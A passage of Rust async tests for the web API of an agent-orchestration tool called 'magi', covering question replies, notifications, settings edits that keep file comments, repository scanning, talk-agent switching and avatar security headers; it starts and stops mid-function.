8810                prompt_delivery: None,
8811            }],
8812            ..Config::default()
8813        };
8814        // Not a git working tree, so its `magi.toml` is read from disk.
8815        let repo = fx.home.path().join("chat-repo");
8816        std::fs::create_dir_all(&repo).unwrap();
8817        let toml = repo.join("magi.toml");
8818        std::fs::write(&toml, "this is = = not toml").unwrap();
8819        let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
8820        let mut task = Task::new(
8821            "t".to_owned(),
8822            "Do it".to_owned(),
8823            PathBuf::from("/repo/magi"),
8824            Source::Agent {
8825                run: talk.id.clone(),
8826                node: crate::queue::CHAT_NODE.to_owned(),
8827            },
8828        );
8829        task.start("20260902-000000-beef".to_owned());
8830        fx.queue().put(&mut task).unwrap();
8831
8832        let path = format!("/api/questions/{id}/consult");
8833        let res = fx.post(&path, None).await;
8834        assert!(res.status >= 400, "{}", res.body);
8835        assert!(fx.questions().get(&id).unwrap().consult.is_none());
8836        assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
8837
8838        std::fs::write(&toml, "").unwrap();
8839        let res = fx.post(&path, None).await;
8840        assert_eq!(res.status, 202, "{}", res.body);
8841        assert!(fx.questions().get(&id).unwrap().consult.is_some());
8842        let q = fx.questions().get(&id).unwrap();
8843        assert!(q.status.open());
8844        assert!(q.answer.is_none());
8845        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
8846    }
8847
8848    #[tokio::test]
8849    async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
8850        let fx = Fixture::start().await;
8851        let store = fx.questions();
8852        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8853        assert_eq!(
8854            fx.get("/api/health").await.json()["questions_needs_owner"],
8855            1
8856        );
8857
8858        // The owner asks back instead of deciding: the ask bar, the nav badge
8859        // and the title must stop naming this question, because there is
8860        // nothing to decide until the agent answers - `status` alone cannot
8861        // say that, which is the whole reason `questions_needs_owner` exists
8862        // alongside `questions_open`.
8863        let res = fx
8864            .post(
8865                &format!("/api/questions/{id}/say"),
8866                Some(r#"{"body":"why not Postgres?"}"#),
8867            )
8868            .await;
8869        assert_eq!(res.status, 200, "{}", res.body);
8870        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8871        assert_eq!(
8872            fx.get("/api/health").await.json()["questions_needs_owner"],
8873            0,
8874            "waiting on the agent is not waiting on the owner"
8875        );
8876
8877        // `magi ask --thread` replying is what brings the owner count back -
8878        // the same event that would resume the CLI call blocked in `magi
8879        // ask`.
8880        let mut q = store.get(&id).expect("get");
8881        q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
8882            .expect("reply");
8883        store.put(&mut q).expect("put");
8884        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8885        assert_eq!(
8886            fx.get("/api/health").await.json()["questions_needs_owner"],
8887            1,
8888            "the agent's reply is what should light the banner back up"
8889        );
8890    }
8891
8892    #[tokio::test]
8893    async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
8894        let fx = Fixture::start().await;
8895        let store = fx.questions();
8896
8897        let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8898        let res = fx
8899            .post(
8900                &format!("/api/questions/{empty_id}/say"),
8901                Some(r#"{"body":"   "}"#),
8902            )
8903            .await;
8904        assert_eq!(res.status, 400, "{}", res.body);
8905
8906        let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8907        let mut answered = store.get(&answered_id).expect("get");
8908        answered
8909            .answer(Answer::Choice("SQLite".to_owned()))
8910            .expect("answer");
8911        store.put(&mut answered).expect("put");
8912        let res = fx
8913            .post(
8914                &format!("/api/questions/{answered_id}/say"),
8915                Some(r#"{"body":"still there?"}"#),
8916            )
8917            .await;
8918        assert_eq!(res.status, 409, "{}", res.body);
8919
8920        let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8921        let mut abandoned = store.get(&abandoned_id).expect("get");
8922        abandoned.abandon("timed out");
8923        store.put(&mut abandoned).expect("put");
8924        let res = fx
8925            .post(
8926                &format!("/api/questions/{abandoned_id}/say"),
8927                Some(r#"{"body":"still there?"}"#),
8928            )
8929            .await;
8930        assert_eq!(res.status, 409, "{}", res.body);
8931    }
8932
8933    #[tokio::test]
8934    async fn an_answer_the_question_does_not_offer_is_refused() {
8935        let fx = Fixture::start().await;
8936        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8937        let path = format!("/api/questions/{id}/answer");
8938
8939        for body in [
8940            r#"{"choice":"Postgres"}"#,
8941            r#"{"text":"whatever you think"}"#,
8942            r#"{"choice":"Redis","text":"both"}"#,
8943            r#"{}"#,
8944        ] {
8945            let res = fx.post(&path, Some(body)).await;
8946            assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
8947            assert!(res.json()["error"].is_string(), "{}", res.body);
8948        }
8949        // Nothing above may have answered it.
8950        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8951    }
8952
8953    #[tokio::test]
8954    async fn a_free_text_question_takes_text_and_not_a_choice() {
8955        let fx = Fixture::start().await;
8956        let id = ask(&fx, "What should the flag be called?", &[]);
8957        let path = format!("/api/questions/{id}/answer");
8958
8959        assert_eq!(
8960            fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
8961            400
8962        );
8963        let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
8964        assert_eq!(res.status, 200, "{}", res.body);
8965        assert_eq!(res.json()["answer"]["text"], "--json");
8966    }
8967
8968    #[tokio::test]
8969    async fn an_unknown_question_is_a_json_404() {
8970        let fx = Fixture::start().await;
8971        let res = fx
8972            .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
8973            .await;
8974        assert_eq!(res.status, 404, "{}", res.body);
8975        assert!(res.json()["error"].is_string());
8976    }
8977
8978    #[tokio::test]
8979    async fn notifications_list_read_dismiss_and_health_agree() {
8980        let fx = Fixture::start().await;
8981        let store = Notices::at(fx.home.path().join("notifications"));
8982        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
8983        let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
8984
8985        let a = store.raise(Notice::warn("task:1", "held")).unwrap();
8986        let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
8987
8988        let health = fx.get("/api/health").await.json();
8989        assert_eq!(health["notifications_unread"], 2);
8990        assert_ne!(
8991            health["notifications_rev"], rev0,
8992            "the badge must move live"
8993        );
8994
8995        let listed = fx.get("/api/notifications").await.json();
8996        assert_eq!(listed["unread"], 2);
8997        assert_eq!(listed["items"].as_array().unwrap().len(), 2);
8998        assert_eq!(listed["items"][0]["severity"], "error", "newest first");
8999
9000        let read = fx
9001            .post(&format!("/api/notifications/{}/read", a.id), None)
9002            .await;
9003        assert_eq!(read.status, 200, "{}", read.body);
9004        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
9005
9006        let gone = fx
9007            .post(&format!("/api/notifications/{}/dismiss", b.id), None)
9008            .await;
9009        assert_eq!(gone.status, 200, "{}", gone.body);
9010        let listed = fx.get("/api/notifications").await.json();
9011        assert_eq!(listed["items"].as_array().unwrap().len(), 1);
9012        assert_eq!(listed["unread"], 0);
9013
9014        store.raise(Notice::info("x", "again")).unwrap();
9015        let all = fx.post("/api/notifications/read-all", None).await;
9016        assert_eq!(all.status, 200, "{}", all.body);
9017        assert_eq!(all.json()["marked"], 1);
9018        assert_eq!(
9019            fx.get("/api/health").await.json()["notifications_unread"],
9020            0
9021        );
9022
9023        let missing = fx.post("/api/notifications/nope/read", None).await;
9024        assert_eq!(missing.status, 404, "{}", missing.body);
9025        assert!(missing.json()["error"].is_string());
9026    }
9027
9028    /// New work reaches the queue through `magi task add`, a standing talk's
9029    /// `magi task add --solo`, or the CLI - never a raw `POST /api/queue` -
9030    /// so the compose form and that route are gone. The tests that covered
9031    /// that route's validation went with it, and nothing was left asserting
9032    /// it stays gone — so a re-added handler would silently let the phone
9033    /// file briefs no one validated.
9034    #[tokio::test]
9035    async fn a_task_cannot_be_filed_over_the_phone_directly() {
9036        let f = Fixture::start().await;
9037
9038        let res = f
9039            .post(
9040                "/api/queue",
9041                Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
9042            )
9043            .await;
9044
9045        assert_eq!(
9046            res.status, 405,
9047            "POST /api/queue must not be a route: {}",
9048            res.body
9049        );
9050        assert!(
9051            f.queue().list().is_empty(),
9052            "a task filed by a route that does not exist must not reach the disk"
9053        );
9054        // The path itself is still served — the Queue view reads it — and the
9055        // per-task controls are untouched by the entry being removed.
9056        assert_eq!(f.get("/api/queue").await.status, 200);
9057    }
9058
9059    /// `<repo>/host/owner/repo/.git`, the ghq layout [`repos::scan`] expects.
9060    fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
9061        std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
9062            .expect("checkout dir");
9063    }
9064
9065    /// Two command agents, so a config needs no real CLI.
9066    const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
9067
9068    fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
9069        let tmp = TempDir::new().expect("tempdir");
9070        let repo = tmp.path().join("repo");
9071        std::fs::create_dir_all(&repo).expect("repo dir");
9072        std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
9073        let machine = tmp.path().join("cfg").join("magi").join("config.toml");
9074        if let Some(text) = machine_toml {
9075            std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
9076            std::fs::write(&machine, text).expect("machine toml");
9077        }
9078        (tmp, repo, machine)
9079    }
9080
9081    #[tokio::test]
9082    async fn settings_get_reports_sources_and_the_advisors_fallback() {
9083        let (_tmp, repo, machine) =
9084            settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
9085        let f = Fixture::with_repo_and_machine(repo, machine).await;
9086        let res = f.get("/api/settings").await;
9087        assert_eq!(res.status, 200, "{}", res.body);
9088        let v = res.json();
9089        assert!(v["error"].is_null(), "{v}");
9090        let role = |k: &str| {
9091            v["roles"]
9092                .as_array()
9093                .and_then(|r| r.iter().find(|x| x["key"] == k))
9094                .cloned()
9095                .unwrap_or_else(|| panic!("no role {k}: {v}"))
9096        };
9097        assert_eq!(role("judges")["source"], "machine");
9098        assert_eq!(role("judges")["editable"], true);
9099        assert_eq!(role("implementers")["source"], "default");
9100        let adv = role("advisors");
9101        assert_eq!(adv["fallback"], "judges");
9102        assert!(
9103            adv["seats"]
9104                .as_array()
9105                .is_some_and(|s| s.iter().all(|x| x == "b")),
9106            "{adv}"
9107        );
9108        assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
9109        assert_eq!(v["agents"][0]["source"], "repo");
9110    }
9111
9112    #[tokio::test]
9113    async fn settings_get_reports_a_config_that_does_not_parse() {
9114        let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
9115        let f = Fixture::with_repo_and_machine(repo, machine).await;
9116        let res = f.get("/api/settings").await;
9117        assert_eq!(res.status, 200, "{}", res.body);
9118        let v = res.json();
9119        assert!(v["error"]["message"].is_string(), "{v}");
9120        assert!(
9121            v["error"]["path"]
9122                .as_str()
9123                .is_some_and(|p| p.ends_with("magi.toml")),
9124            "{v}"
9125        );
9126        assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
9127    }
9128
9129    #[tokio::test]
9130    async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
9131        let (_tmp, repo, machine) = settings_dirs(
9132            SETTINGS_AGENTS,
9133            Some("# mine\n[roles]\n# seats\njudges = [\"a\"]  # note\n\n[vars]\nx = 1\n"),
9134        );
9135        let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
9136        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
9137        let rev = f.get("/api/settings").await.json()["revision"]
9138            .as_str()
9139            .expect("revision")
9140            .to_owned();
9141        let body = serde_json::json!({
9142            "revision": rev,
9143            "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
9144        })
9145        .to_string();
9146        let res = f.put("/api/settings/roles", &body).await;
9147        assert_eq!(res.status, 200, "{}", res.body);
9148        let text = std::fs::read_to_string(&machine).expect("machine");
9149        assert_eq!(
9150            text,
9151            "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"]  # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
9152        );
9153        assert_eq!(
9154            std::fs::read(repo.join("magi.toml")).expect("read"),
9155            repo_before
9156        );
9157        let again = f.get("/api/settings").await.json();
9158        let judges = again["roles"]
9159            .as_array()
9160            .expect("roles")
9161            .iter()
9162            .find(|r| r["key"] == "judges")
9163            .expect("judges")
9164            .clone();
9165        assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
9166        // The old revision is now stale.
9167        let stale = f.put("/api/settings/roles", &body).await;
9168        assert_eq!(stale.status, 409, "{}", stale.body);
9169    }
9170
9171    #[tokio::test]
9172    async fn settings_counts_are_reported_and_saved() {
9173        let (_tmp, repo, machine) = settings_dirs(
9174            &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
9175            Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
9176        );
9177        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
9178        let v = f.get("/api/settings").await.json();
9179        let count = |v: &serde_json::Value, k: &str| {
9180            v["roles"]
9181                .as_array()
9182                .and_then(|r| r.iter().find(|x| x["key"] == k))
9183                .map(|x| x["count"].clone())
9184                .unwrap_or_else(|| panic!("no role {k}: {v}"))
9185        };
9186        let imp = count(&v, "implementers");
9187        assert_eq!(imp["value"], 2);
9188        assert_eq!(imp["source"], "machine");
9189        assert_eq!(imp["file_key"], "candidates");
9190        assert_eq!(imp["roster_len"], 2);
9191        assert_eq!(imp["backups"], 0);
9192        assert_eq!(count(&v, "judges")["source"], "default");
9193        assert_eq!(count(&v, "advisors")["min"], 0);
9194        assert_eq!(count(&v, "reviewers")["editable"], false);
9195        assert!(
9196            count(&v, "reviewers")["locked_reason"]
9197                .as_str()
9198                .is_some_and(|m| m.contains("graph.reviewers"))
9199        );
9200        assert!(count(&v, "fixer").is_null());
9201        let rev = v["revision"].as_str().expect("revision").to_owned();
9202        let body = serde_json::json!({
9203            "revision": rev,
9204            "roles": { "judges": ["b"] },
9205            "counts": { "implementers": 1, "advisors": 0 }
9206        })
9207        .to_string();
9208        let res = f.put("/api/settings/roles", &body).await;
9209        assert_eq!(res.status, 200, "{}", res.body);
9210        let text = std::fs::read_to_string(&machine).expect("machine");
9211        assert_eq!(
9212            text,
9213            "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
9214        );
9215        let after = f.get("/api/settings").await.json();
9216        assert_eq!(count(&after, "implementers")["value"], 1);
9217        assert_eq!(count(&after, "implementers")["backups"], 1);
9218        assert_eq!(count(&after, "advisors")["value"], 0);
9219        let before = std::fs::read_to_string(&machine).expect("machine");
9220        let rev = after["revision"].as_str().expect("revision").to_owned();
9221        for counts in [
9222            serde_json::json!({ "judges": 0 }),
9223            serde_json::json!({ "judges": "x" }),
9224            serde_json::json!({ "judges": 2.5 }),
9225            serde_json::json!({ "judges": -1 }),
9226            serde_json::json!({ "reviewers": 3 }),
9227            serde_json::json!({ "bogus": 3 }),
9228        ] {
9229            let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
9230            let res = f.put("/api/settings/roles", &body).await;
9231            assert_eq!(res.status, 422, "{counts}: {}", res.body);
9232            assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
9233        }
9234    }
9235
9236    #[tokio::test]
9237    async fn settings_put_refuses_without_touching_the_file() {
9238        let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
9239        let (_tmp, repo, machine) = settings_dirs(
9240            &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
9241            Some(machine_text),
9242        );
9243        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
9244        let rev = f.get("/api/settings").await.json()["revision"]
9245            .as_str()
9246            .expect("revision")
9247            .to_owned();
9248        for roles in [
9249            serde_json::json!({ "judges": ["nope"] }),
9250            serde_json::json!({ "reviewers": ["b"] }),
9251            serde_json::json!({ "bogus": ["a"] }),
9252        ] {
9253            let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
9254            let res = f.put("/api/settings/roles", &body).await;
9255            assert_eq!(res.status, 422, "{roles}: {}", res.body);
9256            assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
9257            assert_eq!(
9258                std::fs::read_to_string(&machine).expect("machine"),
9259                machine_text
9260            );
9261        }
9262    }
9263
9264    #[tokio::test]
9265    async fn repos_list_returns_name_and_path_for_every_configured_root() {
9266        let tmp = TempDir::new().expect("tempdir");
9267        let repo = tmp.path().join("repo");
9268        std::fs::create_dir_all(&repo).expect("repo dir");
9269        let root = tmp.path().join("root");
9270        make_checkout(&root, "github.com", "yukimemi", "magi");
9271        std::fs::write(
9272            repo.join("magi.toml"),
9273            format!(
9274                "[repos]\nroots = [{:?}]\n",
9275                root.to_string_lossy().into_owned()
9276            ),
9277        )
9278        .expect("write magi.toml");
9279
9280        let f = Fixture::with_repo(repo).await;
9281        let res = f.get("/api/repos").await;
9282        assert_eq!(res.status, 200, "{}", res.body);
9283        let list = res.json();
9284        let repos = list.as_array().expect("an array");
9285        assert_eq!(repos.len(), 1);
9286        assert_eq!(repos[0]["name"], "yukimemi/magi");
9287        assert!(
9288            repos[0]["path"]
9289                .as_str()
9290                .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
9291            "{list}"
9292        );
9293    }
9294
9295    #[tokio::test]
9296    async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
9297        let tmp = TempDir::new().expect("tempdir");
9298        let repo = tmp.path().join("repo");
9299        std::fs::create_dir_all(&repo).expect("repo dir");
9300        let root = tmp.path().join("root");
9301        make_checkout(&root, "github.com", "yukimemi", "magi");
9302        std::fs::write(
9303            repo.join("magi.toml"),
9304            format!(
9305                "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
9306                root.to_string_lossy().into_owned()
9307            ),
9308        )
9309        .expect("write magi.toml");
9310
9311        let f = Fixture::with_repo(repo).await;
9312        let first = f.get("/api/repos").await;
9313        assert_eq!(first.json().as_array().map(Vec::len), Some(1));
9314
9315        // A second checkout appears; within the TTL the cached answer must
9316        // not notice it.
9317        make_checkout(&root, "github.com", "yukimemi", "rvpm");
9318        let second = f.get("/api/repos").await;
9319        assert_eq!(
9320            second.json().as_array().map(Vec::len),
9321            Some(1),
9322            "a fresh cache must not rescan inside the TTL"
9323        );
9324
9325        let refreshed = f.get("/api/repos?refresh=1").await;
9326        assert_eq!(
9327            refreshed.json().as_array().map(Vec::len),
9328            Some(2),
9329            "an explicit refresh must rescan even inside the TTL"
9330        );
9331    }
9332
9333    /// A `kind = "command"` agent that ignores its prompt and answers a fixed
9334    /// string, declared straight in a repository's own `magi.toml` rather
9335    /// than the operator's real roster. No real agent CLI is spawned - `sh`
9336    /// is the interpreter, the same as `talk::tests::mock_agent` uses - so
9337    /// this is safe to run over a real HTTP round trip.
9338    const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
9339
9340    /// A repo carrying `MOCK_AGENT_TOML`, for the talk routes that need a
9341    /// real `Config::discover` to find an agent - `talk::begin` resolves one
9342    /// even though it takes no turn, and `talk_say` invokes one.
9343    async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
9344        let tmp = TempDir::new().expect("tempdir");
9345        let repo = tmp.path().join("repo");
9346        std::fs::create_dir_all(&repo).expect("repo dir");
9347        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
9348        let f = Fixture::with_repo(repo.clone()).await;
9349        (tmp, repo, f)
9350    }
9351
9352    #[tokio::test]
9353    async fn posting_a_talk_with_remembered_choices_is_soft() {
9354        let (_tmp, _repo, f) = talk_fixture().await;
9355
9356        let good = f
9357            .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
9358            .await;
9359        assert_eq!(good.status, 201, "{}", good.body);
9360        assert_eq!(good.json()["persona"], "rei");
9361
9362        // Wrong values and wrong types are dropped one by one, never a 4xx.
9363        let stale = f
9364            .post(
9365                "/api/talks",
9366                Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
9367            )
9368            .await;
9369        assert_eq!(stale.status, 201, "{}", stale.body);
9370        let v = stale.json();
9371        assert_eq!(v["implementers"], 1);
9372        assert_ne!(v["persona"], "nobody");
9373        let typed = f
9374            .post(
9375                "/api/talks",
9376                Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
9377            )
9378            .await;
9379        assert_eq!(typed.status, 201, "{}", typed.body);
9380
9381        // The strict `agent` field still refuses an unknown id.
9382        let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
9383        assert!(
9384            !strict.status.to_string().starts_with('2'),
9385            "{}",
9386            strict.body
9387        );
9388    }
9389
9390    #[tokio::test]
9391    async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
9392        let (_tmp, _repo, f) = talk_fixture().await;
9393
9394        // No body at all - `f.post(.., None)` sends no `Content-Type` either -
9395        // is the ordinary way a phone opens a talk.
9396        let opened = f.post("/api/talks", None).await;
9397        assert_eq!(opened.status, 201, "{}", opened.body);
9398        let body = opened.json();
9399        assert_eq!(body["status"], "open");
9400        assert_eq!(
9401            body["turns"].as_array().unwrap().len(),
9402            0,
9403            "opening takes no agent turn: there is nothing yet to answer"
9404        );
9405
9406        // An explicit empty object is the same request as none at all.
9407        let also_opened = f.post("/api/talks", Some("{}")).await;
9408        assert_eq!(also_opened.status, 201, "{}", also_opened.body);
9409
9410        let listed = f.get("/api/talks").await.json();
9411        assert_eq!(listed.as_array().unwrap().len(), 2);
9412    }
9413
9414    #[tokio::test]
9415    async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
9416        let tmp = TempDir::new().expect("tempdir");
9417        let repo = tmp.path().join("repo");
9418        std::fs::create_dir_all(&repo).expect("repo dir");
9419        let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
9420        std::fs::write(
9421            repo.join("magi.toml"),
9422            format!("{MOCK_AGENT_TOML}\n{second}"),
9423        )
9424        .expect("write magi.toml");
9425        let home = TempDir::new().expect("temp home");
9426        let talks = Talks::at(home.path().join("talks"));
9427        let ui = Arc::new(
9428            Ui::new(
9429                Queue::at(home.path().join("queue")),
9430                Questions::at(home.path().join("questions")),
9431                talks.clone(),
9432                home.path().join("runs"),
9433                home.path().to_path_buf(),
9434                repo.clone(),
9435            )
9436            .with_worktrees_root(home.path().join("wt")),
9437        );
9438        let cfg = config_for(&repo).await.expect("discover config");
9439        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
9440        let id = talk.id.clone();
9441        let call = |agent: &str| {
9442            talk_agent(
9443                State(Arc::clone(&ui)),
9444                Path(id.clone()),
9445                Json(TalkAgent {
9446                    agent: agent.to_owned(),
9447                }),
9448            )
9449        };
9450
9451        let unknown = call("nobody").await.expect_err("unknown agent");
9452        assert_eq!(
9453            unknown.status,
9454            StatusCode::BAD_REQUEST,
9455            "{}",
9456            unknown.message
9457        );
9458
9459        {
9460            // Nothing refused so far took a claim, so the guard is free to take
9461            // and holding it is what makes the talk busy.
9462            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
9463            let busy = call("second").await.expect_err("busy talk");
9464            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
9465            assert!(
9466                busy.message.contains("a talk turn is running"),
9467                "{}",
9468                busy.message
9469            );
9470            drop(guard);
9471        }
9472        assert_eq!(talks.get(&id).expect("reload").agent, "mock");
9473
9474        let Json(view) = call("second").await.expect("switch");
9475        assert_eq!(view.talk.agent, "second");
9476        assert_eq!(view.talk.turns.len(), 1, "the change is noted");
9477        let saved = talks.get(&id).expect("reload");
9478        assert_eq!(saved.agent, "second");
9479        assert_eq!(saved.turns.len(), 1);
9480
9481        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
9482            .await
9483            .expect("detail");
9484        let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
9485        assert_eq!(roster, ["mock", "second"]);
9486
9487        let mut closed = talks.get(&id).expect("reload");
9488        talk::close(&mut closed, &talks).expect("close");
9489        let refused = call("mock").await.expect_err("closed talk");
9490        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
9491        assert!(
9492            refused.message.contains("takes no more turns"),
9493            "{}",
9494            refused.message
9495        );
9496    }
9497
9498    #[tokio::test]
9499    async fn talk_implementers_validates_and_refuses_busy_or_closed() {
9500        let tmp = TempDir::new().expect("tempdir");
9501        let repo = tmp.path().join("repo");
9502        std::fs::create_dir_all(&repo).expect("repo dir");
9503        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
9504        let home = TempDir::new().expect("temp home");
9505        let talks = Talks::at(home.path().join("talks"));
9506        let ui = Arc::new(
9507            Ui::new(
9508                Queue::at(home.path().join("queue")),
9509                Questions::at(home.path().join("questions")),
9510                talks.clone(),
9511                home.path().join("runs"),
9512                home.path().to_path_buf(),
9513                repo.clone(),
9514            )
9515            .with_worktrees_root(home.path().join("wt")),
9516        );
9517        let cfg = config_for(&repo).await.expect("discover config");
9518        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
9519        let id = talk.id.clone();
9520        let call = |n: u8| {
9521            talk_implementers(
9522                State(Arc::clone(&ui)),
9523                Path(id.clone()),
9524                Json(TalkImplementers { implementers: n }),
9525            )
9526        };
9527
9528        for bad in [0u8, 4] {
9529            let e = call(bad).await.expect_err("out of range");
9530            assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
9531        }
9532        assert_eq!(talks.get(&id).expect("reload").implementers, 1);
9533
9534        {
9535            // Nothing refused so far took a claim, so the guard is free to take
9536            // and holding it is what makes the talk busy.
9537            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
9538            let busy = call(2).await.expect_err("busy talk");
9539            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
9540            assert!(
9541                busy.message.contains("a talk turn is running"),
9542                "{}",
9543                busy.message
9544            );
9545            drop(guard);
9546        }
9547
9548        let Json(view) = call(3).await.expect("switch");
9549        assert_eq!(view.talk.implementers, 3);
9550        assert!(talks.get(&id).expect("reload").implementers_dirty);
9551
9552        let mut closed = talks.get(&id).expect("reload");
9553        talk::close(&mut closed, &talks).expect("close");
9554        let e = call(2).await.expect_err("closed talk");
9555        assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
9556        assert!(e.message.contains("takes no more turns"), "{}", e.message);
9557    }
9558
9559    /// A repo with `extra` appended to the mock agent's config, and a talk in it.
9560    async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
9561        let tmp = TempDir::new().expect("tempdir");
9562        let repo = tmp.path().join("repo");
9563        std::fs::create_dir_all(&repo).expect("repo dir");
9564        std::fs::write(
9565            repo.join("magi.toml"),
9566            format!("{MOCK_AGENT_TOML}\n{extra}"),
9567        )
9568        .expect("write magi.toml");
9569        let home = TempDir::new().expect("temp home");
9570        let talks = Talks::at(home.path().join("talks"));
9571        let ui = Arc::new(
9572            Ui::new(
9573                Queue::at(home.path().join("queue")),
9574                Questions::at(home.path().join("questions")),
9575                talks.clone(),
9576                home.path().join("runs"),
9577                home.path().to_path_buf(),
9578                repo.clone(),
9579            )
9580            .with_worktrees_root(home.path().join("wt")),
9581        );
9582        let cfg = config_for(&repo).await.expect("discover config");
9583        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
9584        (tmp, home, ui, talk.id, repo)
9585    }
9586
9587    /// `(status, content-type, nosniff, csp, body)` of one avatar request.
9588    async fn avatar(
9589        ui: &Arc<Ui>,
9590        id: &str,
9591        persona: Option<&str>,
9592        builtin: bool,
9593    ) -> (StatusCode, String, bool, bool, Vec<u8>) {
9594        let res = talk_avatar(
9595            State(Arc::clone(ui)),
9596            Path(id.to_owned()),
9597            Query(AvatarQuery {
9598                persona: persona.map(str::to_owned),
9599                builtin: builtin.then(|| "1".to_owned()),
9600            }),
9601        )
9602        .await
9603        .expect("an avatar is never an error response");
9604        let h = res.headers();
9605        let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
9606        let nosniff = h
9607            .get(header::X_CONTENT_TYPE_OPTIONS)
9608            .is_some_and(|v| v == "nosniff");
9609        let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
9610        let status = res.status();
9611        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
9612            .await
9613            .expect("body")
9614            .to_vec();
9615        (status, ct, nosniff, csp, body)
9616    }
9617
9618    fn tiny_png() -> Vec<u8> {
9619        let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
9620        b.extend_from_slice(&[0u8; 32]);
9621        b
9622    }
9623
9624    #[tokio::test]
9625    async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
9626        let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
9627        for p in [
9628            "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
9629        ] {
9630            let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
9631            assert_eq!(status, StatusCode::OK, "{p}");
